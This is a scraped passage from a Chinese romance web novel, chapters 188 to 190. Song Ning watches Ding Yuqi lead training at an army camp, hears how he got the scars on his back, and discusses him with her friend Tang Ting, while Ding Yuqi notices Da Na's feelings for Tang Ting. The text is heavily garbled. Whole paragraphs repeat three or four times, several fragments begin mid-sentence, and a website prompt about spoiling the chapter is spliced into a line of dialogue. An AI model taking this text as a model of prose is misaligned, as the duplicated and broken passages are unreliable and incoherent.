他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一 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唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一边笑嘻嘻的调侃:“丁哥,嫂子在旁边看着呢,你可千万别露怯!” “归你的队去!”丁予期虚虚的踢了他一下。 班长很有先见之明的闪开,等回到队伍里,却是没忘了悄悄地给其他人也指一下宋凝她们所在的方向。 大部队自从入伍之后就没怎么跟异性接触过,平时能见到女兵的次数都屈指可数,这会儿忽然见到三个年轻靓丽的女孩子站在一起,个个眼睛发直,争先恐后的想在她们面前表现一番。 丁予期登时醋海翻波,恨不能立刻去把宋凝藏起来,让别人都不许看她,奈何他比任何人都更清楚她不喜欢这样,唯有深呼吸一口,朗声道:“全体都有!一二三,预备跑!” 军营里最管用的就是命令。 众人收到指令,立刻全都把目光收了回去,开始带着绑在腿上的沙袋进行负重跑,随身带起的沙尘一阵飞扬。 宋凝知道军营里的负重跑必然标准不低,可眼见着他们腿上绑着这么重的东西,却还是跑的比她不负重都快,不禁心生向往道:“不知道我从现实开始锻炼的话还来不来得及。” 唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一边笑嘻嘻的调侃:“丁哥,嫂子在旁边看着呢,你可千万别露怯!” “归你的队去!”丁予期虚虚的踢了他一下。 班长很有先见之明的闪开,等回到队伍里,却是没忘了悄悄地给其他人也指一下宋凝她们所在的方向。 大部队自从入伍之后就没怎么跟异性接触过,平时能见到女兵的次数都屈指可数,这会儿忽然见到三个年轻靓丽的女孩子站在一起,个个眼睛发直,争先恐后的想在她们面前表现一番。 丁予期登时醋海翻波,恨不能立刻去把宋凝藏起来,让别人都不许看她,奈何他比任何人都更清楚她不喜欢这样,唯有深呼吸一口,朗声道:“全体都有!一二三,预备跑!” 军营里最管用的就是命令。 众人收到指令,立刻全都把目光收了回去,开始带着绑在腿上的沙袋进行负重跑,随身带起的沙尘一阵飞扬。 宋凝知道军营里的负重跑必然标准不低,可眼见着他们腿上绑着这么重的东西,却还是跑的比她不负重都快,不禁心生向往道:“不知道我从现实开始锻炼的话还来不来得及。” 唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 第一百八十八章 他的黑历史 宋凝点了点头,实话实说的评价道:“何止是齐整,我要是人没在站在这里,说不定都会以为是一个人在跑,只是——” 她的话音戛然而止,回头发现祝如星和唐婷跟姗姗来迟的大拿他们汇合去了,这才扭过脸继续问:“陈老爷子,请问您知道他背上的伤是怎么回事么?” 陈老爷子摆了摆手:“跟我还用这么客气么?你想问什么就问什么,我别的不敢保证,但凡是跟丁予期有关的事绝对全都知道。” 这话说的跟拍着胸脯向她保证也没区别了。 宋凝略显紧张的攥紧双手问:“那我就不客气了,您知道他背上的伤是怎么回事么?看起来不太寻常。” 会留疤的伤显然是不轻,但从形状来看又实在让人想不出具体是受了怎么样的伤,难不成又是丁琪为了克制感情,所以自己给自己留下的? 宋凝想到这里,连忙又摇头把这个念头从脑海中驱逐了出去,不为别的,就是觉得这事的可能性太低。 丁予期就算是天赋异禀,能用手够到脊背中间的位置,想自残的那么准也还是太有难度。 陈老爷子的解释更是验证了这一点,他并没有把那些伤看的太重,而是不以为意的摆了摆手:“嗨,那些伤没什么不寻常的,完全是因为他小时候太野,到处带着他那帮狐朋**捣乱。” “你认识他太晚,不知道他从前根本就是个怎么打都打不好的混世魔王,而且挨了打一声不吭,真不知道是皮糙肉厚,还是完全不在意。” 他说到这里不忘多解释一下现在那些疤的来历:“你想问的是他背上一条一条的伤痕吧?其实那伤也就是看起来严重,真论起来没什么的,主要还是因为他那次惹的祸实在是太气人!” “你们小时候没有现在时兴的游学,但是流行过一阵子春游,他上小学的时候,有一次正赶上学校组织大家坐火车去海边春游,本来是该当天来回的,可到了傍晚却发现他丢了。” 宋凝听的很揪心:“他那时还是小学生,走丢一定很害怕吧?” “他要是知道害怕就好了!”陈老爷子见她关心丁予期,自然是感到高兴,但一想起他小时候闯的祸,还是忍不住要动气,话音都变得更中气十足了。 “他根本是自己趁着火车过站的间隙跑出去的,停靠时间就那么几分钟,他非得去捡看中的铁轨旁边的石头,等他拿到了,火车已经开走了,结果他非但没找工作人员求助,还往回走。” 宋凝听的睁圆了眼睛,她早知道丁予期胆子大,但没想到他 年纪尚小的时候胆子就这么大了,纳罕道:“那你们最后找到他了么?” “当然找到他了,带队老师差点被他吓死,马上就把丢了个学生的事告诉了乘警,一群人跑回去找了大半宿,直到有巡夜的工作人员发现他在摸黑顺着铁轨走,这才没把这件事给闹大。” 这已经是十几年前的事了,可陈老爷子提起来还是忍不住要吹胡子瞪眼,足以证明丁予期当时的表现有多吓人,他特意强调道:“从此以后,他们学校再也没举行过春游。” 宋凝听说了这件事,当即认可了丁予期是个到处惹乱子的混世魔王的说法,只是感到匪夷所思的表示:“看来人果然会随着时间的推移成长,他现在看起来还算稳重可靠,不像会胡闹的。” 丁予期在她面前总是表现得既专业又可靠,虽然偶尔毒舌了些,可这个特质在关键时刻也能派上用场,怎么看都不完全是缺点。 陈老爷子意味深长的笑了:“时间也算是外力,无论外力怎么作用在一个人身上,能做到的其实也只是把他塑造成接近成品的模样,而不是改变一个人的本质,这还得看他的选择才行。” “好像是这样没错……”宋凝认为他是话里有话,可还不等她品出他话音里的潜台词,他又继续说起了未完的话题。 “你看到丁予期背上那些疤,一定会觉得我当时打的太狠了吧?我冷静下来之后也这么想,但是我问他冤不冤,他说不冤,因为是他自己想要那块石头的,所以就算为此付出代价也是活该。” “你别看他现在又是当律师又是管酒店,说起话来一套一套的能忽悠人,但归根结底还是倔,凡是他认定了的事,都是非做到不可的,无论需要付出多少。” 陈老爷子说到末尾一句时,神情格外温和的看了宋凝一眼,是希望她能懂他的苦心。宋凝默默无言的没说话,可从她不住忽闪的眼睫来看,显然是把这话听进心里去了的。 与此同时,祝如星则是在向老姚萝卜他们询问过军营里的规章制度后把她最重要的道具相机给拿了出来,试图拍几张拿得出手的纪念照。 军营里的建筑和坐标都是涉密机构,是不能随便乱拍的,于是她另辟蹊径,特意在休息区询问长得帅,身材也出众的年轻士兵,并且每问一个都不忘嘴甜的称呼一声兵哥哥。 士兵们被她夸的晕晕乎乎,基本上都答应了,只要求她拍完后把照片也发他们一份,好拿去给家里人分享。 唐婷承认这里的男色确实难得,可她毕竟是有正事的人,还是更关心其它更现实的 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动 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她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 问题,譬如怎么叠豆腐块,又譬如平日里的内勤该注意哪些地方…… 她原本就长得漂亮夺目,又有明星身份加持,愿意替她排忧解难的士兵可以从操场排队到军营大门,奈何休息时间有限,往往讲了没几个问题,跟她说话的人就得告辞回去训练了。 如此被打断过几次之后,唐婷索性借了被子现场学习,而在给她答疑的士兵再一次归队后,大拿注意到了她的动作,主动走过来说:“你要是不介意的话,我倒是有几个技巧可以分享。” “当然不介意!”唐婷眼前一亮,马上先把大拿盛赞了一通,“我听宋凝说了,你的身手和射击水平都特别厉害,多亏了有你才能把她救回来。” 大拿被夸的心花怒放的同时,耳根也跟着泛起红来,多亏了他肤色深瞧着不明显,这才保住了闷葫芦的外观,没被唐婷发现他这么经不住夸。 两人在一起交流许久,直到中午才结束话题,并且约定了下午继续聊。 丁予期远远看到他们两个聊得投缘,起初也没觉得有什么,只当唐婷是为了接下来的角色在收集素材,直到他拿毛巾时意外瞥见了大拿的手机屏幕。 大拿向来敏锐,这时却压根没察觉到身侧多了个人,而是还在专心致志的看播放中的电视剧。 第一百八十九章 看到了一点小火苗 电视剧的剧情算不上引人入胜放到剧评人口中大概率会被评价为八点档肥皂剧。 可大拿看的无比入神在看到某段剧情时甚至来回拉进度条。 丁予期默不作声的瞄了一会儿很快就发现他来回播放的那段剧情正是唐婷饰演的角色初出场的特写镜头。 手机屏幕里的唐婷妆容精致再加上她本身底子就好举手投足间无一不显示着她的女性魅力。 虽然这个角色没什么发挥空间就是个中规中矩的武林第一美女。 但唐婷的颜值确实太有说服力了明媚开朗甜美可爱被各路英雄豪杰各种争夺但最后红颜薄命惨死街头。 这种终极美强惨的角色一度成为了所有武林豪杰们的白月光。 也成了众多观众心中最美好圣洁的形象一度被网友评价为戏烂人不烂的代表。 这部剧重刷率很高忠实粉丝一直很多但……这个人是大拿啊。 对什么明星电视剧压根不感兴趣一心只喜欢**的大拿啊。 丁予期记得他并非好色之人更加没有追星之类的爱好这时便若有所思的看着大拿。 看着他目不转睛的样子微微勾了勾唇。 不知道过去多久之后大拿终于看完了这段总长不到十分钟的片段然后在切换下一段视频时注意到了屏幕边缘上的倒影。 周围顿时静的只剩下从两侧树木上传出来的蝉鸣声。 大拿手忙脚乱的试图把手机给藏起来结果却忘了要按熄屏键指尖从屏幕上拂过反倒再次按下了播放键顺便还把音量给调到了最大。 台词声总算打破了沉默。 大拿这次总算记得先熄屏了他站起身来拍了拍压根不存在的尘土目光闪烁的问:“你怎么过来了?训练不是还没结束么?” “中场休息。”丁予期解释完状似无意的看向他的耳朵问 大拿连忙又去摸自己的脸迷惑的回答说:“怎么了?有东西?” 丁予期拿出自己的手机打开自拍模式递到他面前说:“你自己看吧。” 大拿肤色深就算面红耳赤也不见得会太明显然而他此时的反应实在是太过被动直到看见相机镜头里的自己才意识到原来他从脸到耳朵早就先一步红透了。 此时无声胜有声。 丁予期倒是没有笑话大拿的意思只是维持着气定神闲的姿态说:“我刚刚看到唐婷问你问题了你要是对她演的电视剧感兴趣 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,可以直接问她剧情,她肯定会告诉你的。” 大拿看的这部剧是周更,目前尚未完结,他方才还在搜索栏里搜索后续剧情相关来着,这时面对丁予期的提问,含糊道:“那不就变成剧透了么?多不合适啊。” 他不肯正面回答问题,丁予期也不急,循序渐进的又说:“没什么不合适的,只要你不告诉别人,不就行了么?反正你向来嘴严。” 大拿顿了一瞬,还是恨不能把头给摇断的表示:“那不一样。” “有什么不一样?是不是怕给她添麻烦?”丁予期旁观者清,已经察觉到他对唐婷的些许好感了。 他们俩一个人是退伍兵,一个是娱乐圈女明星,乍一看是风牛马不相及,但若是能走到一起的话未尝不是一段佳话。 只不过当事人似乎还没有意识到感情的存在。 大拿镇定了一些:“你说什么呢?我怎么听不明白?就是想着最近反正是要养伤,既然没别的事情可做,倒不如让自己放松一下,找部电视剧随便看看。” 丁予期挑眉,语气明显拉的老长:“哦,随便看看啊。” 大拿轻咳了一声,“嗯。” 丁予期还想再问他,既然是为了打发时间,不是更应该开倍速么? 反正看的清楚剧情就行,可还不等开口,他先一步逃也似的走了:“我去个厕所。” 这是大拿出院后走的最快的一次了,转瞬间就消失了。 当宋凝拎着一瓶冰水走过来的时候,丁予期刚好还面带微笑的在盯着大拿消失的 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丁予期见宋凝心里有事,其实也不好过,奈何有些事不是说想解决,马上就能解决的,他喝了口水,正要同她再细说一番这件事,余光里却是先注意到了从远处走来的唐婷,只能是噤声。 “你是不是有话要说?”宋凝见他欲言又止,以为他是遇到了什么难处,正要追问,唐婷发现他在对宋凝挤眉弄眼,加快步伐跑了过来。 “你们聊什么呢!”唐婷挽住宋凝的手臂,不动声色的拉开了她跟丁予期之间的距离。 丁予期莫名其妙的成了被提防的那个人,哭笑不得的摇了摇头:“在聊你最近播的那部电视剧,听说反响还不错。” 唐婷听说他在看她演的电视剧,眼前先是一亮,随即却是硬生生稳住了对那部剧大谈特谈的冲动,随便寻了个由头就把宋凝给叫走了。 两人一鼓作气的走出去老远,直到宋凝感到好笑似的问:“好了,这里够远了,就算你直接把要对我说的话喊出来,他都不一定能听得见。” 第一百九十章 不会将就 唐婷这才停住步子,认真询问道:“你告诉我句实话,是不是打算跟他来真的?” 这话成功把宋凝给问住了,她神情苦涩的一笑:“如果我说自己也还没想好,你信么?从理智上来讲,他对我不错,是个完美的结婚对象,但问题是我对婚姻早就不抱希望了。” 她能跟丁予期领证,靠的就是从前以为两人只是合作关系,压根没想到会有今天。 宋凝相比于让丁予期成为自己的丈夫,其实更希望他能成为她的朋友,因为她虽然不排斥跟他一起生活,却还没有想好怎么把他当成终生伴侣来看待。 唐婷正是因为看出了这一点,所以哪怕白跑一趟也认了,这时就说:“那你就别急着做决定,哪怕所有人都认为你们两个在一起是好事,只要你还有半点犹豫,就不要真的跟他在一起。” “我当然不会随便答应他。”宋凝哑然失笑,见她无比认真的凝望着自己,哪怕是为了给她吃颗定心丸,也照样一本正经的解释,“我都走错过一次了,总不能再栽第二次。” 傅东擎是她看走了眼,错把鱼目当珍珠捡回去的,这一次她无论如何都不会将就了。 大不了就是单身跟酒店过一辈子,刚好能够延续父辈未成的事业,至于以后才需要考虑的继承人问题,领养或者提前开始培养都来得及。 宋凝将这件事想的清清楚楚,连带着目光都变得坚定起来。 唐婷身为演员,最擅长的事情之一就是看人,她见宋凝是认真的,长长的舒出一口气,缓和道:“其实我之所以来找你,也不是为了阻止你们两个发展感情,但总得多考察他一下才行。” “我明白的。” “那个傅东擎在追到你之前不也是装的人模人样么?谁成想竟然是个法外狂徒,听说他现在还在局子里待着呢,最好一辈子都别出来!” 她还不知道照片的事,但替宋凝打抱不平的心情半点不弱。 “我有件事……”宋凝张了张口,不知道第多少次的想要让唐婷有个心理准备,然而话到嘴边还是无法把残忍的事实说出口,唯有改口道,“需要问你一下该怎么办。” 唐婷的心跟着她的话音悬了好一会儿,见她就为了问这么个事,笑的别提多欢畅了:“你尽管说,凡是我能解决的问题,一定帮忙。” 宋凝笑着表示:“没什么大事,只是想问你找好顾问了没有。” 唐婷想要演好女狙击手,仅仅靠在军营里走马观花是绝对不行的,她得像祝如星先前建议的一样找个靠谱的顾问才 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 